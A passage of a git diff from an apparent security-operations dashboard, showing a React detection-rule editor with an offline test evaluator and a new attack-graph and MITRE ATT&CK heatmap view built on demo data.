'svc_backup' },+ event: { category: 'process', action: 'process_started' },+ },+ null,+ 2,+);++// ─── Component ────────────────────────────────────────────────────────────────++interface RuleEditorProps {+ mode: 'create' | 'edit';+ ruleId?: string;+}++export function RuleEditor({ mode, ruleId }: RuleEditorProps) {+ const router = useRouter();++ // Load existing rule when editing+ const { data, error, isLoading, mutate } = useSWR(+ mode === 'edit' && ruleId ? `detection:rule:${ruleId}` : null,+ () => (ruleId ? detectionApi.get(ruleId) : null),+ { revalidateOnFocus: false, shouldRetryOnError: false },+ );++ // Form state+ const [name, setName] = useState('');+ const [description, setDescription] = useState('');+ const [language, setLanguage] = useState<DetectionLanguage>('sigma');+ const [body, setBody] = useState(SAMPLE_BODIES.sigma);+ const [severity, setSeverity] = useState<AlertSeverity>('medium');+ const [enabled, setEnabled] = useState(true);+ const [tags, setTags] = useState<string[]>([]);+ const [mitre, setMitre] = useState<string[]>([]);+ const [tagInput, setTagInput] = useState('');+ const [mitreInput, setMitreInput] = useState('');++ // Test runner state+ const [sampleEvent, setSampleEvent] = useState(SAMPLE_EVENT);+ const [testing, setTesting] = useState(false);+ const [testResult, setTestResult] = useState<{+ matches: number;+ preview: HuntResult[];+ } | null>(null);+ const [saving, setSaving] = useState(false);++ // Hydrate form when data arrives+ useEffect(() => {+ if (data) {+ setName(data.name);+ setDescription(data.description ?? '');+ setLanguage(data.language);+ setBody(data.body);+ setSeverity(data.severity ?? 'medium');+ setEnabled(data.enabled);+ setTags(data.tags ?? []);+ setMitre(data.mitre ?? []);+ }+ }, [data]);++ const monacoLang = useMemo(+ () => LANGS.find((l) => l.id === language)?.monaco ?? 'plaintext',+ [language],+ );++ // Loading state for edit+ if (mode === 'edit' && isLoading) {+ return (+ <div className="space-y-3">+ <Skeleton className="h-10 w-2/3" />+ <Skeleton className="h-96 w-full" />+ </div>+ );+ }++ if (mode === 'edit' && error) {+ return (+ <ErrorState+ title="Couldn't load this detection rule"+ description="The detection service is unreachable or the rule no longer exists."+ error={error}+ action={+ <Link+ href="/detection"+ className="rounded-md border border-gray-700 px-4 py-2 text-sm text-gray-300 hover:bg-gray-800"+ >+ Back to rules+ </Link>+ }+ />+ );+ }++ // ─── Handlers ──────────────────────────────────────────────────────────────++ const handleLanguageChange = (next: DetectionLanguage) => {+ // If body still matches the previous sample, swap to new sample+ if (Object.values(SAMPLE_BODIES).includes(body)) {+ setBody(SAMPLE_BODIES[next]);+ }+ setLanguage(next);+ setTestResult(null);+ };++ const addChip = (+ raw: string,+ list: string[],+ set: (next: string[]) => void,+ clear: () => void,+ ) => {+ const v = raw.trim().replace(/^#/, '');+ if (!v) return;+ if (list.includes(v)) {+ clear();+ return;+ }+ set([...list, v]);+ clear();+ };++ const handleTest = async () => {+ setTesting(true);+ setTestResult(null);+ try {+ const result = await detectionApi.test({+ language,+ body,+ sample: sampleEvent,+ });+ setTestResult(result);+ if (result.matches > 0) {+ toast.success(`Match — ${result.matches} event(s)`);+ } else {+ toast(`No match against the sample`, { icon: '🔍' });+ }+ } catch (err) {+ console.warn('Test failed, using demo evaluator', err);+ const demo = evaluateDemo(language, body, sampleEvent);+ setTestResult(demo);+ if (demo.matches > 0) {+ toast.success(+ `Demo evaluator: matched ${demo.matches} event(s) (offline mode)`,+ );+ } else {+ toast('Demo evaluator: no match (offline mode)', { icon: '🧪' });+ }+ } finally {+ setTesting(false);+ }+ };++ const handleSave = async () => {+ if (!name.trim()) {+ toast.error('Rule name is required');+ return;+ }+ if (!body.trim()) {+ toast.error('Rule body is empty');+ return;+ }+ setSaving(true);+ const payload: Partial<DetectionRule> = {+ name: name.trim(),+ description: description.trim() || undefined,+ language,+ body,+ enabled,+ severity,+ tags: tags.length ? tags : undefined,+ mitre: mitre.length ? mitre : undefined,+ };++ try {+ if (mode === 'create') {+ const created = await detectionApi.create(payload);+ toast.success('Rule created');+ router.push(`/detection/${created.id}`);+ } else if (ruleId) {+ await detectionApi.update(ruleId, payload);+ toast.success('Rule saved');+ mutate();+ }+ } catch (err) {+ console.error('Save failed', err);+ toast.error('Backend unavailable — your changes were not persisted.');+ } finally {+ setSaving(false);+ }+ };++ const handleDelete = async () => {+ if (!ruleId) return;+ if (!confirm('Delete this rule? This cannot be undone.')) return;+ try {+ await detectionApi.delete(ruleId);+ toast.success('Rule deleted');+ router.push('/detection');+ } catch (err) {+ console.error('Delete failed', err);+ toast.error('Could not delete rule');+ }+ };++ // ─── Render ────────────────────────────────────────────────────────────────++ return (+ <div className="space-y-5">+ {/* Header */}+ <div className="flex flex-col gap-3 lg:flex-row lg:items-center lg:justify-between">+ <div className="flex items-center gap-3">+ <Link+ href="/detection"+ className="text-sm text-gray-500 hover:text-gray-300"+ >+ ← Detection rules+ </Link>+ <span className="text-gray-700">/</span>+ <h1 className="truncate text-xl font-semibold text-gray-100">+ {mode === 'create' ? 'New rule' : (data?.name ?? 'Editing…')}+ </h1>+ </div>++ <div className="flex items-center gap-2">+ {mode === 'edit' && (+ <button+ onClick={handleDelete}+ className="rounded-md border border-red-500/30 bg-red-500/5 px-3 py-1.5 text-sm text-red-300 transition-colors hover:bg-red-500/10"+ >+ Delete+ </button>+ )}+ <button+ onClick={handleSave}+ disabled={saving}+ className={clsx(+ 'inline-flex items-center gap-2 rounded-md bg-blue-500 px-4 py-2 text-sm font-medium text-white shadow-sm transition-colors',+ saving ? 'opacity-60' : 'hover:bg-blue-600',+ )}+ >+ {saving ? 'Saving…' : mode === 'create' ? 'Create rule' : 'Save'}+ </button>+ </div>+ </div>++ {/* Body — two-column on lg+ */}+ <div className="grid grid-cols-1 gap-5 lg:grid-cols-[1fr_360px]">+ {/* Left: editor + test runner */}+ <div className="space-y-4">+ {/* Language pills */}+ <div className="flex flex-wrap items-center gap-2">+ {LANGS.map((l) => (+ <button+ key={l.id}+ type="button"+ onClick={() => handleLanguageChange(l.id)}+ className={clsx(+ 'rounded-md border px-3 py-1.5 text-xs font-medium transition-colors',+ language === l.id+ ? 'border-blue-500/60 bg-blue-500/10 text-blue-300'+ : 'border-gray-800 bg-gray-900/40 text-gray-400 hover:bg-gray-800',+ )}+ >+ {l.label}+ </button>+ ))}+ </div>++ {/* Editor */}+ <div className="overflow-hidden rounded-lg border border-gray-800 bg-[#0d1117]">+ <div className="flex items-center justify-between border-b border-gray-800 px-3 py-2 text-xs text-gray-500">+ <span>+ {LANGS.find((l) => l.id === language)?.label} • detection logic+ </span>+ <span>{body.split('\n').length} lines</span>+ </div>+ <div className="h-[520px]">+ <MonacoEditor+ language={monacoLang}+ value={body}+ onChange={(val) => setBody(val ?? '')}+ theme="vs-dark"+ options={{+ minimap: { enabled: false },+ fontSize: 13,+ fontFamily:+ 'JetBrains Mono, ui-monospace, SFMono-Regular, Menlo, monospace',+ scrollBeyondLastLine: false,+ wordWrap: 'on',+ smoothScrolling: true,+ padding: { top: 12, bottom: 12 },+ }}+ />+ </div>+ </div>++ {/* Test runner */}+ <div className="rounded-lg border border-gray-800 bg-gray-900/40">+ <div className="flex items-center justify-between border-b border-gray-800 px-4 py-2.5">+ <div>+ <h3 className="text-sm font-semibold text-gray-200">+ Test against a sample event+ </h3>+ <p className="text-xs text-gray-500">+ Paste a JSON event and evaluate this rule before going live.+ </p>+ </div>+ <button+ onClick={handleTest}+ disabled={testing}+ className={clsx(+ 'rounded-md bg-emerald-500/90 px-3 py-1.5 text-xs font-medium text-white transition-colors',+ testing ? 'opacity-60' : 'hover:bg-emerald-500',+ )}+ >+ {testing ? 'Evaluating…' : 'Run test'}+ </button>+ </div>+ <div className="grid grid-cols-1 lg:grid-cols-2">+ <div className="border-b border-gray-800 lg:border-b-0 lg:border-r">+ <div className="px-3 py-1.5 text-[11px] uppercase tracking-wider text-gray-500">+ Sample event (JSON)+ </div>+ <div className="h-56">+ <MonacoEditor+ language="json"+ value={sampleEvent}+ onChange={(val) => setSampleEvent(val ?? '')}+ theme="vs-dark"+ options={{+ minimap: { enabled: false },+ fontSize: 12,+ scrollBeyondLastLine: false,+ wordWrap: 'on',+ }}+ />+ </div>+ </div>+ <div>+ <div className="px-3 py-1.5 text-[11px] uppercase tracking-wider text-gray-500">+ Result+ </div>+ <div className="h-56 overflow-y-auto px-4 py-3 text-sm">+ {!testResult ? (+ <div className="flex h-full items-center justify-center text-xs text-gray-600">+ Click "Run test" to evaluate the rule.+ </div>+ ) : testResult.matches > 0 ? (+ <div className="space-y-2">+ <div className="inline-flex items-center gap-2 rounded-md bg-emerald-500/10 px-2 py-1 text-xs text-emerald-300 ring-1 ring-emerald-500/30">+ <span className="h-1.5 w-1.5 rounded-full bg-emerald-400" />+ Matched {testResult.matches} event+ {testResult.matches > 1 ? 's' : ''}+ </div>+ <pre className="max-h-40 overflow-auto rounded-md bg-gray-950 px-3 py-2 font-mono text-[11px] text-gray-300">+ {JSON.stringify(testResult.preview[0] ?? {}, null, 2)}+ </pre>+ </div>+ ) : (+ <div className="inline-flex items-center gap-2 rounded-md bg-gray-800 px-2 py-1 text-xs text-gray-300 ring-1 ring-gray-700">+ <span className="h-1.5 w-1.5 rounded-full bg-gray-500" />+ No match — rule did not fire on this sample.+ </div>+ )}+ </div>+ </div>+ </div>+ </div>+ </div>++ {/* Right: metadata sidebar */}+ <aside className="space-y-4">+ <FormSection label="Name" required>+ <input+ value={name}+ onChange={(e) => setName(e.target.value)}+ placeholder="Suspicious PowerShell Encoded Command"+ className="w-full rounded-md border border-gray-800 bg-gray-950 px-3 py-2 text-sm text-gray-200 outline-none focus:border-blue-500/60"+ />+ </FormSection>++ <FormSection label="Description">+ <textarea+ value={description}+ onChange={(e) => setDescription(e.target.value)}+ rows={3}+ placeholder="What does this rule catch? Why does it matter? Link to threat intel if useful."+ className="w-full resize-none rounded-md border border-gray-800 bg-gray-950 px-3 py-2 text-sm text-gray-200 outline-none focus:border-blue-500/60"+ />+ </FormSection>++ <FormSection label="Severity">+ <div className="grid grid-cols-4 gap-1.5">+ {SEVERITIES.map((sev) => (+ <button+ key={sev}+ type="button"+ onClick={() => setSeverity(sev)}+ className={clsx(+ 'rounded-md px-2 py-1.5 text-xs font-medium capitalize ring-1 transition-colors',+ severity === sev+ ? severityActive(sev)+ : 'bg-gray-900/40 text-gray-400 ring-gray-800 hover:bg-gray-800',+ )}+ >+ {sev}+ </button>+ ))}+ </div>+ </FormSection>++ <FormSection label="Status">+ <button+ type="button"+ onClick={() => setEnabled((v) => !v)}+ className={clsx(+ 'flex w-full items-center justify-between rounded-md border px-3 py-2 text-sm transition-colors',+ enabled+ ? 'border-emerald-500/40 bg-emerald-500/5 text-emerald-300'+ : 'border-gray-800 bg-gray-900/40 text-gray-400',+ )}+ >+ <span>+ {enabled ? 'Enabled — running live' : 'Disabled — not running'}+ </span>+ <span+ className={clsx(+ 'relative inline-flex h-5 w-9 items-center rounded-full transition-colors',+ enabled ? 'bg-emerald-500/70' : 'bg-gray-700',+ )}+ >+ <span+ className={clsx(+ 'inline-block h-4 w-4 transform rounded-full bg-white transition-transform',+ enabled ? 'translate-x-4' : 'translate-x-0.5',+ )}+ />+ </span>+ </button>+ </FormSection>++ <FormSection+ label="MITRE ATT&CK"+ hint="Tag the techniques (e.g. T1059.001) this rule covers."+ >+ <ChipInput+ value={mitreInput}+ onChange={setMitreInput}+ onCommit={() =>+ addChip(mitreInput, mitre, setMitre, () => setMitreInput(''))+ }+ placeholder="T1059.001"+ chips={mitre}+ onRemove={(t) => setMitre(mitre.filter((x) => x !== t))}+ chipClassName="bg-blue-500/10 text-blue-300 ring-blue-500/30"+ />+ </FormSection>++ <FormSection label="Tags">+ <ChipInput+ value={tagInput}+ onChange={setTagInput}+ onCommit={() =>+ addChip(tagInput, tags, setTags, () => setTagInput(''))+ }+ placeholder="windows, lolbin, cloud"+ chips={tags}+ onRemove={(t) => setTags(tags.filter((x) => x !== t))}+ chipClassName="bg-gray-800 text-gray-300 ring-gray-700"+ />+ </FormSection>++ {mode === 'edit' && data && (+ <div className="rounded-md border border-gray-800 bg-gray-900/40 p-3 text-xs text-gray-500">+ <div>+ Created{' '}+ <span className="text-gray-400">+ {new Date(data.createdAt).toLocaleString()}+ </span>+ </div>+ <div className="mt-0.5">+ Updated{' '}+ <span className="text-gray-400">+ {new Date(data.updatedAt).toLocaleString()}+ </span>+ </div>+ {data.hitCount != null && (+ <div className="mt-0.5">+ <span className="font-mono text-gray-300">+ {data.hitCount}+ </span>{' '}+ total hits+ </div>+ )}+ </div>+ )}+ </aside>+ </div>+ </div>+ );+}++// ─── Form helpers ─────────────────────────────────────────────────────────────++function FormSection({+ label,+ hint,+ required,+ children,+}: {+ label: string;+ hint?: string;+ required?: boolean;+ children: React.ReactNode;+}) {+ return (+ <div>+ <label className="flex items-baseline gap-1 text-xs font-medium uppercase tracking-wider text-gray-500">+ <span>{label}</span>+ {required && <span className="text-red-400">*</span>}+ </label>+ <div className="mt-1.5">{children}</div>+ {hint && <p className="mt-1 text-[11px] text-gray-600">{hint}</p>}+ </div>+ );+}++interface ChipInputProps {+ value: string;+ onChange: (v: string) => void;+ onCommit: () => void;+ chips: string[];+ onRemove: (chip: string) => void;+ placeholder: string;+ chipClassName?: string;+}++function ChipInput({+ value,+ onChange,+ onCommit,+ chips,+ onRemove,+ placeholder,+ chipClassName,+}: ChipInputProps) {+ return (+ <div className="space-y-2">+ <input+ value={value}+ onChange={(e) => onChange(e.target.value)}+ onKeyDown={(e) => {+ if (e.key === 'Enter' || e.key === ',') {+ e.preventDefault();+ onCommit();+ }+ }}+ onBlur={() => value.trim() && onCommit()}+ placeholder={placeholder}+ className="w-full rounded-md border border-gray-800 bg-gray-950 px-3 py-2 text-sm text-gray-200 outline-none focus:border-blue-500/60"+ />+ {chips.length > 0 && (+ <div className="flex flex-wrap gap-1.5">+ {chips.map((chip) => (+ <button+ key={chip}+ type="button"+ onClick={() => onRemove(chip)}+ className={clsx(+ 'group inline-flex items-center gap-1 rounded-md px-1.5 py-0.5 text-[11px] font-mono ring-1',+ chipClassName ?? 'bg-gray-800 text-gray-300 ring-gray-700',+ )}+ >+ {chip}+ <span className="text-gray-500 opacity-0 transition-opacity group-hover:opacity-100">+ ×+ </span>+ </button>+ ))}+ </div>+ )}+ </div>+ );+}++function severityActive(sev: AlertSeverity): string {+ switch (sev) {+ case 'critical':+ return 'bg-red-500/15 text-red-300 ring-red-500/40';+ case 'high':+ return 'bg-orange-500/15 text-orange-300 ring-orange-500/40';+ case 'medium':+ return 'bg-yellow-500/15 text-yellow-300 ring-yellow-500/40';+ case 'low':+ return 'bg-blue-500/15 text-blue-300 ring-blue-500/40';+ }+}++// ─── Demo evaluator ───────────────────────────────────────────────────────────+// Used when the detection backend is unreachable. Light-touch heuristics so the+// UI feels responsive in offline / demo mode.++function evaluateDemo(+ language: DetectionLanguage,+ body: string,+ sampleRaw: string,+): { matches: number; preview: HuntResult[] } {+ let sample: Record<string, unknown> = {};+ try {+ sample = JSON.parse(sampleRaw);+ } catch {+ return { matches: 0, preview: [] };+ }++ const flat = flatten(sample);+ const lower = (s: string) => s.toLowerCase();++ let isMatch = false;++ if (language === 'sigma') {+ // Look for `contains:` and `endswith:` operands inside `detection:` block.+ const operands: string[] = [];+ const re = /(?:contains|endswith)\s*:\s*'([^']+)'|(?:contains|endswith)\s*:\s*"([^"]+)"/g;+ let m: RegExpExecArray | null;+ while ((m = re.exec(body))) {+ operands.push(m[1] ?? m[2] ?? '');+ }+ if (operands.length > 0) {+ isMatch = operands.every((needle) =>+ Object.values(flat).some((v) =>+ typeof v === 'string' && lower(v).includes(lower(needle)),+ ),+ );+ }+ } else if (language === 'regex') {+ try {+ const re = new RegExp(body, 'm');+ isMatch = Object.values(flat).some(+ (v) => typeof v === 'string' && re.test(v),+ );+ } catch {+ isMatch = false;+ }+ } else if (language === 'kql' || language === 'eql' || language === 'lucene') {+ // Pull bare-word literals out of the query and require any to be present.+ const tokens = body+ .split(/[\s,()='":\[\]<>!]+/)+ .filter(+ (t) =>+ t.length > 3 &&+ !/^(where|and|or|not|by|in|like|count|summarize|project|process|true|false|null|sequence|maxspan|with|extend|order|asc|desc)$/i.test(+ t,+ ),+ )+ .slice(0, 6);+ if (tokens.length > 0) {+ isMatch = tokens.some((tok) =>+ Object.values(flat).some(+ (v) => typeof v === 'string' && lower(v).includes(lower(tok)),+ ),+ );+ }+ } else if (language === 'yara') {+ const stringMatches = [...body.matchAll(/\$[a-zA-Z0-9_]+\s*=\s*"([^"]+)"/g)].map(+ (m) => m[1],+ );+ if (stringMatches.length > 0) {+ isMatch = stringMatches.some((needle) =>+ Object.values(flat).some(+ (v) => typeof v === 'string' && v.includes(needle),+ ),+ );+ }+ }++ if (!isMatch) return { matches: 0, preview: [] };++ const previewRow: HuntResult = {+ id: 'demo-match-1',+ timestamp:+ typeof sample['@timestamp'] === 'string'+ ? (sample['@timestamp'] as string)+ : new Date().toISOString(),+ source: 'sample-event',+ fields: flat,+ };+ return { matches: 1, preview: [previewRow] };+}++function flatten(+ obj: unknown,+ prefix = '',+ out: Record<string, unknown> = {},+): Record<string, unknown> {+ if (obj === null || typeof obj !== 'object') {+ out[prefix || 'value'] = obj as unknown;+ return out;+ }+ for (const [k, v] of Object.entries(obj as Record<string, unknown>)) {+ const next = prefix ? `${prefix}.${k}` : k;+ if (v && typeof v === 'object' && !Array.isArray(v)) {+ flatten(v, next, out);+ } else {+ out[next] = v;+ }+ }+ return out;+}diff --git a/apps/web/src/components/graph/AttackGraphView.tsx b/apps/web/src/components/graph/AttackGraphView.tsxnew file mode 100644index 000000000..8f70cf947--- /dev/null+++ b/apps/web/src/components/graph/AttackGraphView.tsx@@ -0,0 +1,529 @@+'use client';++/**+ * Attack Graph + MITRE ATT&CK heatmap.+ *+ * Two stacked panels:+ * 1. Force-directed graph of hosts, users, IPs, processes, alerts and+ * ATT&CK techniques, rendered with cytoscape.js + fcose layout.+ * 2. A live MITRE ATT&CK coverage heatmap (tactic columns x technique rows)+ * with intensity shaded by detection count.+ *+ * Both panels are driven by `graphApi` and gracefully fall back to a small+ * deterministic demo graph if the backend hasn't been seeded yet.+ */++import { useEffect, useMemo, useRef, useState } from 'react';+import useSWR from 'swr';+import cytoscape, {+ type Core,+ type ElementDefinition,+ type NodeSingular,+} from 'cytoscape';+import fcose from 'cytoscape-fcose';+import { clsx } from 'clsx';+import {+ graphApi,+ type AttackGraph,+ type GraphNode,+ type GraphNodeKind,+ type MitreCoverage,+} from '@/lib/api';+import { Skeleton } from '@/components/ui/Skeleton';+import { ErrorState } from '@/components/ui/ErrorState';+import { EmptyState } from '@/components/ui/EmptyState';++// Register fcose once on the client.+if (typeof window !== 'undefined') {+ try {+ cytoscape.use(fcose as unknown as cytoscape.Ext);+ } catch {+ /* already registered (HMR) */+ }+}++// ─── Demo fallback graph ──────────────────────────────────────────────────────++const DEMO_GRAPH: AttackGraph = {+ generatedAt: new Date().toISOString(),+ nodes: [+ { id: 'host:WIN-FIN-DB01', label: 'WIN-FIN-DB01', kind: 'host', riskScore: 92 },+ { id: 'host:WIN-PROD-WEB02', label: 'WIN-PROD-WEB02', kind: 'host', riskScore: 71 },+ { id: 'user:[email protected]', label: '[email protected]', kind: 'user', riskScore: 78 },+ { id: 'user:svc-backup', label: 'svc-backup', kind: 'user', riskScore: 60 },+ { id: 'ip:185.220.101.7', label: '185.220.101.7', kind: 'ip', riskScore: 95 },+ { id: 'ip:10.0.4.12', label: '10.0.4.12', kind: 'ip', riskScore: 30 },+ { id: 'process:powershell.exe', label: 'powershell.exe', kind: 'process', riskScore: 80 },+ { id: 'process:lsass.exe', label: 'lsass.exe', kind: 'process', riskScore: 70 },+ { id: 'tech:T1059.001', label: 'T1059.001 PowerShell', kind: 'technique', riskScore: 88 },+ { id: 'tech:T1003.001', label: 'T1003.001 LSASS Memory', kind: 'technique', riskScore: 92 },+ { id: 'tech:T1071.001', label: 'T1071.001 Web C2', kind: 'technique', riskScore: 76 },+ { id: 'alert:A-1029', label: 'Alert A-1029', kind: 'alert', severity: 'critical' },+ { id: 'alert:A-1030', label: 'Alert A-1030', kind: 'alert', severity: 'high' },+ ],+ edges: [+ { id: 'e1', source: 'user:[email protected]', target: 'host:WIN-FIN-DB01', label: 'logged_on' },+ { id: 'e2', source: 'host:WIN-FIN-DB01', target: 'process:powershell.exe', label: 'spawned' },+ { id: 'e3', source: 'process:powershell.exe', target: 'tech:T1059.001', label: 'matched' },+ { id: 'e4', source: 'host:WIN-FIN-DB01', target: 'process:lsass.exe', label: 'accessed' },+ { id: 'e5', source: 'process:lsass.exe', target: 'tech:T1003.001', label: 'matched' },+ { id: 'e6', source: 'host:WIN-FIN-DB01', target: 'ip:185.220.101.7', label: 'beacon_to' },+ { id: 'e7', source: 'ip:185.220.101.7', target: 'tech:T1071.001', label: 'matched' },+ { id: 'e8', source: 'tech:T1003.001', target: 'alert:A-1029', label: 'triggered' },+ { id: 'e9', source: 'tech:T1071.001', target: 'alert:A-1030', label: 'triggered' },+ { id: 'e10', source: 'host:WIN-PROD-WEB02', target: 'user:svc-backup', label: 'auth' },+ { id: 'e11', source: 'host:WIN-PROD-WEB02', target: 'ip:10.0.4.12', label: 'connected' },+ ],+};++const KIND_COLORS: Record<GraphNodeKind, string> = {+ host: '#60a5fa',+ user: '#a78bfa',+ ip: '#f59e0b',+ domain: '#fbbf24',+ hash: '#94a3b8',+ process: '#34d399',+ technique: '#f87171',+ tactic: '#fb7185',+ alert: '#ef4444',+ asset: '#22d3ee',+};++const KIND_SHAPES: Record<GraphNodeKind, string> = {+ host: 'round-rectangle',+ user: 'ellipse',+ ip: 'diamond',+ domain: 'diamond',+ hash: 'hexagon',+ process: 'tag',+ technique: 'star',+ tactic: 'star',+ alert: 'octagon',+ asset: 'round-rectangle',+};++// ─── Cytoscape canvas ─────────────────────────────────────────────────────────++interface GraphCanvasProps {+ graph: AttackGraph;+ onSelect?: (node: GraphNode | null) => void;+}++function GraphCanvas({ graph, onSelect }: GraphCanvasProps) {+ const containerRef = useRef<HTMLDivElement | null>(null);+ const cyRef = useRef<Core | null>(null);++ useEffect(() => {+ if (!containerRef.current) return;++ const elements: ElementDefinition[] = [+ ...graph.nodes.map((n) => ({+ data: {+ id: n.id,+ label: n.label,+ kind: n.kind,+ color: KIND_COLORS[n.kind] ?? '#94a3b8',+ shape: KIND_SHAPES[n.kind] ?? 'ellipse',+ size: 24 + Math.min(36, (n.riskScore ?? 30) / 2),+ },+ })),+ ...graph.edges.map((e) => ({+ data: {+ id: e.id,+ source: e.source,+ target: e.target,+ label: e.label,+ },+ })),+ ];++ const cy = cytoscape({+ container: containerRef.current,+ elements,+ wheelSensitivity: 0.25,+ style: [+ {+ selector: 'node',+ style: {+ 'background-color': 'data(color)',+ shape: 'data(shape)' as cytoscape.Css.NodeShape,+ label: 'data(label)',+ color: '#e2e8f0',+ 'font-size': 10,+ 'font-family':+ 'ui-sans-serif, system-ui, -apple-system, "Segoe UI", Roboto',+ 'text-valign': 'bottom',+ 'text-margin-y': 4,+ 'text-outline-color': '#0b1220',+ 'text-outline-width': 2,+ width: 'data(size)',+ height: 'data(size)',+ 'border-color': '#0f172a',+ 'border-width': 2,+ },+ },+ {+ selector: 'node:selected',+ style: {+ 'border-color': '#fbbf24',+ 'border-width': 3,+ },+ },+ {+ selector: 'edge',+ style: {+ width: 1.5,+ 'line-color': '#475569',+ 'target-arrow-color': '#475569',+ 'target-arrow-shape': 'triangle',+ 'curve-style': 'bezier',+ label: 'data(label)',+ 'font-size': 8,+ color: '#94a3b8',+ 'text-rotation': 'autorotate',+ 'text-background-color': '#0b1220',+ 'text-background-opacity': 0.8,+ 'text-background-padding': '2px',+ },+ },+ {+ selector: 'edge:selected',+ style: {+ 'line-color': '#fbbf24',+ 'target-arrow-color': '#fbbf24',+ width: 2.5,+ },+ },+ ],+ layout: {+ name: 'fcose',+ animate: true,+ animationDuration: 600,+ randomize: true,+ nodeRepulsion: 8000,+ idealEdgeLength: 90,+ gravity: 0.25,+ } as unknown as cytoscape.LayoutOptions,+ });++ cy.on('tap', 'node', (evt) => {+ const node = evt.target as NodeSingular;+ const original = graph.nodes.find((n) => n.id === node.id());+ onSelect?.(original ?? null);+ });++ cy.on('tap', (evt) => {+ if (evt.target === cy) onSelect?.(null);+ });++ cyRef.current = cy;+ return () => {+ cy.destroy();+ cyRef.current = null;+ };+ }, [graph, onSelect]);++ return <div ref={containerRef} className="h-full w-full" />;+}++// ─── MITRE heatmap ────────────────────────────────────────────────────────────++const FALLBACK_TACTICS = [+ 'Initial Access',+ 'Execution',+ 'Persistence',+ 'Privilege Escalation',+ 'Defense Evasion',+ 'Credential Access',+ 'Discovery',+ 'Lateral Movement',+ 'Collection',+ 'Exfiltration',+ 'Command and Control',+ 'Impact',+];++function buildDemoCoverage(): MitreCoverage {+ const cells = FALLBACK_TACTICS.flatMap((tactic, ti) =>+ Array.from({ length: 6 }, (_, ri) => {+ const detections = Math.floor(Math.random() * 9);+ return {+ techniqueId: `T${1000 + ti * 10 + ri}`,+ techniqueName: `Technique ${ti + 1}.${ri + 1}`,+ tactic,+ detections,+ alerts: detections * (1 + Math.floor(Math.random() * 4)),+ intensity: Math.min(1, detections / 8),+ };+ }),+ );+ return {+ tactics: FALLBACK_TACTICS,+ cells,+ generatedAt: new Date().toISOString(),+ };+}++function MitreHeatmap({ coverage }: { coverage: MitreCoverage }) {+ const grouped = useMemo(() => {+ const map = new Map<string, MitreCoverage['cells']>();+ for (const tactic of coverage.tactics) map.set(tactic, []);+ for (const cell of coverage.cells) {+ const list = map.get(cell.tactic) ?? [];+ list.push(cell);+ map.set(cell.tactic, list);+ }+ // Sort each column by intensity descending so the hot stuff bubbles up.+ for (const [k, v] of map)+ map.set(+ k,+ v.sort((a, b) => b.intensity - a.intensity),+ );+ return map;+ }, [coverage]);++ return (+ <div className="overflow-x-auto">+ <div+ className="grid gap-3 min-w-[1000px]"+ style={{+ gridTemplateColumns: `repeat(${coverage.tactics.length}, minmax(0, 1fr))`,+ }}+ >+ {coverage.tactics.map((tactic) => (+ <div key={tactic} className="flex flex-col gap-1">+ <div className="text-[10px] uppercase tracking-wider text-slate-400 mb-1 truncate">+ {tactic}+ </div>+ {(grouped.get(tactic) ?? []).map((cell) => {+ const a = 0.18 + cell.intensity * 0.72;+ return (+ <div+ key={cell.techniqueId}+ title={`${cell.techniqueId} ${cell.techniqueName} — ${cell.detections} detections / ${cell.alerts} alerts`}+ className={clsx(+ 'rounded px-2 py-1.5 text-[10px] font-medium border border-white/5 hover:border-white/30 transition-colors cursor-default',+ cell.detections === 0+ ? 'text-slate-500'+ : 'text-white',+ )}+ style={{+ backgroundColor:+ cell.detections === 0+ ? 'rgba(148,163,184,0.05)'+ : `rgba(239,68,68,${a})`,+ }}+ >+ <div className="truncate">{cell.techniqueId}</div>+ <div className="truncate text-[9px] opacity-70">+ {cell.techniqueName}+ </div>+ </div>+ );+ })}+ </div>+ ))}+ </div>+ </div>+ );+}++// ─── Main view ────────────────────────────────────────────────────────────────++export function AttackGraphView() {+ const [selected, setSelected] = useState<GraphNode | null>(null);++ const graphState = useSWR<AttackGraph>(+ 'attack-graph',+ async () => {+ try {+ return await graphApi.getOverview({ depth: 3 });+ } catch (err) {+ // Fall back to demo data so the UI is always alive.+ return DEMO_GRAPH;+ }+ },+ { revalidateOnFocus: false, refreshInterval: 30_000 },+ );++ const mitreState = useSWR<MitreCoverage>(+ 'mitre-coverage',+ async () => {+ try {+ return await graphApi.getMitreCoverage();+ } catch {+ return buildDemoCoverage();+ }+ },+ { revalidateOnFocus: false, refreshInterval: 60_000 },+ );++ const graph = graphState.data;+ const mitre = mitreState.data;++ return (+ <div className="space-y-6">+ <header className="flex flex-col gap-2">+ <div className="flex items-center justify-between">+ <div>+ <h1 className="text-2xl font-semibold text-white">Attack Graph</h1>+ <p className="text-sm text-slate-400">+ Live identity, asset, and ATT&CK relationships across your+ telemetry.+ </p>+ </div>+ <div className="text-xs text-slate-500">+ {graph+ ? `Generated ${new Date(graph.generatedAt).toLocaleTimeString()}`+ : ''}+ </div>+ </div>+ </header>++ {/* Graph panel */}+ <section className="rounded-xl bg-slate-900/60 border border-white/5 overflow-hidden">+ <div className="grid lg:grid-cols-[1fr_320px]">+ <div className="relative h-[560px] bg-[#0a1120]">+ {graphState.isLoading ? (+ <div className="p-6 space-y-3">+ <Skeleton className="h-4 w-40" />+ <Skeleton className="h-[480px] w-full rounded-lg" />+ </div>+ ) : graphState.error ? (+ <div className="p-6">+ <ErrorState+ title="Couldn't load graph"+ error={graphState.error}+ onRetry={() => graphState.mutate()}+ />+ </div>+ ) : graph && graph.nodes.length > 0 ? (+ <GraphCanvas graph={graph} onSelect={setSelected} />+ ) : (+ <div className="p-6">+ <EmptyState+ title="No graph yet"+ description="Start ingesting events with `pnpm demo:produce` to populate the attack graph."+ />+ </div>+ )}++ {/* Legend */}+ <div className="absolute bottom-3 left-3 flex flex-wrap gap-2 text-[10px] uppercase tracking-wider text-slate-300 bg-slate-900/80 backdrop-blur-sm rounded-lg p-2 border border-white/10">+ {(+ [+ 'host',+ 'user',+ 'ip',+ 'process',+ 'technique',+ 'alert',+ ] as GraphNodeKind[]+ ).map((kind) => (+ <span+ key={kind}+ className="inline-flex items-center gap-1.5"+ >+ <span+ className="inline-block h-2.5 w-2.5 rounded-full"+ style={{ backgroundColor: KIND_COLORS[kind] }}+ />+ {kind}+ </span>+ ))}+ </div>+ </div>++ {/* Side panel */}+ <aside className="border-l border-white/5 bg-slate-900/80 p-4 text-sm">+ <h2 className="text-xs uppercase tracking-wider text-slate-400 mb-3">+ {selected ? 'Selected entity' : 'How to read this'}+ </h2>+ {selected ? (+ <div className="space-y-3">+ <div>+ <div className="text-xs 